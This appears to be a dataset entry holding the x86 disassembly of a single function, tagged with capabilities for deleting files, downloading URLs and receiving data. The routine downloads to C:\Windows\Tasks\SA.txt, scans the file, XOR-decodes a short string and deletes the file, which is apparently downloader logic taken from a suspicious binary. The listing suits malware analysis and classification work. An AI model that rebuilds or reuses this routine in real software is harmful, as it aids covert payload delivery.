Function at 0x44c3a0
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4760b3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x158
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov eax, ecx
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x11c], eax
mov edi, dword [ebx + 8]
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x11c], eax
xorps xmm0, xmm0
push 0x17
push str.C:WindowsTasksSA.txt
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
call fcn.00468c60
mov dword [ebp - 4], 0
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x44c42f
mov eax, dword [esi]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
cmp dword [esi + 0x14], 0x10
jb 0x44c449
mov esi, dword [esi]
push 0
push 0
push eax
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0xb8
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x118]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.00465910
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x11c], eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 2
call fcn.00466730
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x118]
mov eax, dword [ebp - 0x118]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x118]
call fcn.0046c4f0
mov edx, eax
add esp, 4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x44c81a
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.00466730
lea ecx, [ebp - 0x160]
call fcn.0043cb60
add esp, 0x18
lea ecx, [ebp - 0x2c]
push eax
call fcn.00466620
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x44c574
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c56a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x140]
call fcn.00466730
mov byte [ebp - 4], 4
lea edi, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0x10
lea edx, [ebp - 0x140]
mov esi, dword [ebp - 0x140]
mov eax, dword [ebp - 0x130]
setae cl
cmovae edi, esi
test cl, cl
je 0x44c5b4
add eax, esi
jmp 0x44c5bc
add eax, edx
lea esi, [ebp - 0x140]
mov dword [ebp - 0x128], eax
cmp esi, eax
je 0x44c5e9
sub edi, esi
nop dword [eax + eax]
movsx eax, byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [edi + esi], al
add esp, 4
inc esi
cmp esi, dword [ebp - 0x128]
jne 0x44c5d0
movups xmm0, xmmword [ebp - 0x140]
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0x160], xmm0
lea ecx, [ebp - 0x5c]
movq xmm0, qword [ebp - 0x130]
mov byte [ebp - 4], 3
movq qword [ebp - 0x150], xmm0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
call fcn.00466620
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x44c66f
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c665
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
mov edi, dword [ebp - 0x5c]
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x4c]
cmovae eax, edi
cmp dword [ebp - 0x18], 0x10
mov edx, dword [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x2c]
push esi
push eax
push ecx
call fcn.00468b50
add esp, 0xc
cmp eax, 0xffffffff
jne 0x44c6e5
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x118]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x118]
call fcn.0046c4f0
mov edx, eax
add esp, 4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
jne 0x44c515
jmp 0x44c820
push 0
push ecx
push esi
push eax
lea ecx, [ebp - 0x2c]
call fcn.004674e0
lea ecx, [ebp - 0x108]
call fcn.00466cd0
test eax, eax
jne 0x44c71a
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x118]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00466730
mov ecx, esi
call fcn.0043caa0
mov esi, dword [ebp - 0x124]
add esp, 0x18
mov ecx, esi
call fcn.0043cd90
mov eax, dword [ebp - 0x48]
add esp, 0x18
cmp eax, 0x10
jb 0x44c78c
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x44c782
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edi
call fcn.004733de
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x44c7c0
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c7b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0043cfc0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x44cb91
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c80b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
jmp 0x44cb91
mov edi, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x4c]
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x2c]
cmovae ecx, edi
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], ecx
cmovae edx, dword [ebp - 0x2c]
mov dword [ebp - 0x11c], edx
cmp esi, eax
ja 0x44c90d
sub eax, esi
test esi, esi
je 0x44ca72
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x144], eax
sub eax, edx
push eax
push ecx
push edx
call sub.VCRUNTIME140.dll_memchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44c90a
nop
mov edx, dword [ebp - 0x128]
mov ecx, edi
sub esi, 4
jb 0x44c8a1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x44c8a6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x44c890
cmp esi, 0xfffffffc
je 0x44c8da
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x44c8d3
cmp esi, 0xfffffffd
je 0x44c8da
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x44c8d3
cmp esi, 0xfffffffe
je 0x44c8da
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x44c8d3
cmp esi, 0xffffffff
je 0x44c8da
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44c8da
sbb eax, eax
or eax, 1
jmp 0x44c8dc
xor eax, eax
test eax, eax
je 0x44ca60
mov eax, dword [ebp - 0x144]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x148]
push edi
call sub.VCRUNTIME140.dll_memchr
mov esi, dword [ebp - 0x4c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44c880
mov edi, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x124]
mov al, 0x4d
mov dl, al
mov byte [ebp - 0x120], 3
xor al, byte [ebp - 0x120]
mov cl, 0x46
mov ch, 0x56
mov byte [ebp - 0x11f], al
mov al, byte [ebp - 0x120]
mov ah, 0x4b
xor cl, al
mov byte [ebp - 0x119], 0
xor ch, al
mov byte [ebp - 0x11e], cl
mov dh, 0x4e
mov byte [ebp - 0x11b], ch
xor dl, al
mov byte [ebp - 0x119], 0
xor ah, al
mov byte [ebp - 0x11d], dl
xor dh, al
mov byte [ebp - 0x11c], ah
xorps xmm0, xmm0
mov byte [ebp - 0x11a], dh
movups xmmword [esi], xmm0
lea ecx, [ebp - 0x11f]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c990
sub ecx, edx
lea eax, [ebp - 0x11f]
push ecx
push eax
mov ecx, esi
call fcn.00468c60
mov eax, dword [ebp - 0x48]
cmp eax, 0x10
jb 0x44c9db
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x44c9d1
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edi
call fcn.004733de
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x44ca0b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ca01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0043cfc0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x44cb91
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c80b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c80b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub edi, dword [ebp - 0x11c]
cmp edi, 0xffffffff
mov edi, dword [ebp - 0x5c]
je 0x44c90d
lea ecx, [ebp - 0x108]
call fcn.00466cd0
test eax, eax
jne 0x44ca99
push eax
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x118]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x124]
xorps xmm0, xmm0
push 0
push 0x4797c6
mov ecx, eax
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00468c60
mov eax, dword [ebp - 0x48]
cmp eax, 0x10
jb 0x44cb06
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x44cafc
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edi
call fcn.004733de
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x44cb3a
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0043cfc0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x44cb8b
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ca5a
push ecx
push edx
call fcn.004733de
add esp, 8
mov esi, dword [ebp - 0x124]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret